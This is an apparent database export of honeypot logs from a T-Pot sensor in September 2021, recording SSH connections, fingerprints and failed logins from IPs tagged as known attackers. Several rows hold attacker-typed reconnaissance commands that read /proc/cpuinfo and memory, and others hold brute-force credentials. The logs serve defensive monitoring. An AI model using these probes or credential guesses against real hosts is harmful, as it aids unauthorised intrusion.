26735	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:54.986167+03	2021-09-20 14:15:13.660646+03	{"_id": "0gboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:41122 (192.168.176.2:22) [session: de515b57e106]", "session": "de515b57e106", "@version": "1", "protocol": "ssh", "src_port": 41122, "dest_port": 22, "timestamp": "2021-09-20T11:12:54.986167Z", "@timestamp": "2021-09-20T11:12:54.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26736	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:54.701497+03	2021-09-20 14:15:13.661695+03	{"_id": "2AboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mms/mms] failed", "session": "cadc2122c710", "@version": "1", "password": "mms", "username": "mms", "timestamp": "2021-09-20T11:12:54.701497Z", "@timestamp": "2021-09-20T11:12:54.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26737	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:54.704921+03	2021-09-20 14:15:13.663647+03	{"_id": "2QboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "9b1b0e3243a3", "@version": "1", "duration": 6.166588544845581, "timestamp": "2021-09-20T11:12:54.704921Z", "@timestamp": "2021-09-20T11:12:54.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26771	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:03.847034+03	2021-09-20 14:15:13.707676+03	{"_id": "gwboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1a9b04075f74", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:03.847034Z", "@timestamp": "2021-09-20T11:13:03.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26738	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:54.789364+03	2021-09-20 14:15:13.664683+03	{"_id": "2gboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "21797af9223e", "@version": "1", "timestamp": "2021-09-20T11:12:54.789364Z", "@timestamp": "2021-09-20T11:12:54.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26739	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:55.161981+03	2021-09-20 14:15:13.665679+03	{"_id": "2wboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "de515b57e106", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:12:55.161981Z", "@timestamp": "2021-09-20T11:12:55.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26740	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:55.338969+03	2021-09-20 14:15:13.667648+03	{"_id": "3AboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:55.338969Z", "@timestamp": "2021-09-20T11:12:55.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26741	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:55.597183+03	2021-09-20 14:15:13.668675+03	{"_id": "3QboAnwBvYTbRNuErSK3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fe8f201aa331", "@version": "1", "duration": 2.8401925563812256, "timestamp": "2021-09-20T11:12:55.597183Z", "@timestamp": "2021-09-20T11:12:55.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26742	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:12:55.161739+03	2021-09-20 14:15:13.669676+03	{"_id": "zQboAnwBvYTbRNuEqyLh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 526781710229993, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41122, "dest_port": 22, "timestamp": "2021-09-20T11:12:55.161739Z", "@timestamp": "2021-09-20T11:12:55.161Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26743	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:55.164576+03	2021-09-20 14:15:13.671661+03	{"_id": "0AboAnwBvYTbRNuErSII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41122, "timestamp": "2021-09-20T11:12:55.164576", "@timestamp": "2021-09-20T11:12:55.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26744	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:56.486447+03	2021-09-20 14:15:13.672674+03	{"_id": "5wboAnwBvYTbRNuEsSKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:41508 (192.168.176.2:22) [session: 593324cf35d9]", "session": "593324cf35d9", "@version": "1", "protocol": "ssh", "src_port": 41508, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.486447Z", "@timestamp": "2021-09-20T11:12:56.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26745	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:56.450128+03	2021-09-20 14:15:13.673674+03	{"_id": "7gboAnwBvYTbRNuEsSKc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ed9ae4c1b93a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:56.450128Z", "@timestamp": "2021-09-20T11:12:56.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26746	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:01.477441+03	2021-09-20 14:15:13.674675+03	{"_id": "OQboAnwBvYTbRNuExSMx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "128.199.123.0", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.3498847484588623, "duplicate": true, "timestamp": "2021-09-20T11:13:01.477441Z", "@timestamp": "2021-09-20T11:13:01.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26747	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:01.128191+03	2021-09-20 14:15:13.676647+03	{"_id": "OAboAnwBvYTbRNuExSMx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:01.128191Z", "@timestamp": "2021-09-20T11:13:01.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26748	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:13:01.135565+03	2021-09-20 14:15:13.677685+03	{"_id": "OgboAnwBvYTbRNuExSMx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2010] failed", "session": "4d858f8e8cda", "@version": "1", "password": "2010", "username": "root", "timestamp": "2021-09-20T11:13:01.135565Z", "@timestamp": "2021-09-20T11:13:01.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26749	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:02.08967+03	2021-09-20 14:15:13.678674+03	{"_id": "QgboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "128.199.123.0", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.34866976737976074, "duplicate": true, "timestamp": "2021-09-20T11:13:02.089670Z", "@timestamp": "2021-09-20T11:13:02.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26750	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:02.37428+03	2021-09-20 14:15:13.679674+03	{"_id": "SAboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:02.374280Z", "@timestamp": "2021-09-20T11:13:02.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26751	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:02.612261+03	2021-09-20 14:15:13.680675+03	{"_id": "RQboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f1a4afaad69d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:02.612261Z", "@timestamp": "2021-09-20T11:13:02.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26752	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:01.741686+03	2021-09-20 14:15:13.682649+03	{"_id": "TAboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:01.741686Z", "@timestamp": "2021-09-20T11:13:01.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
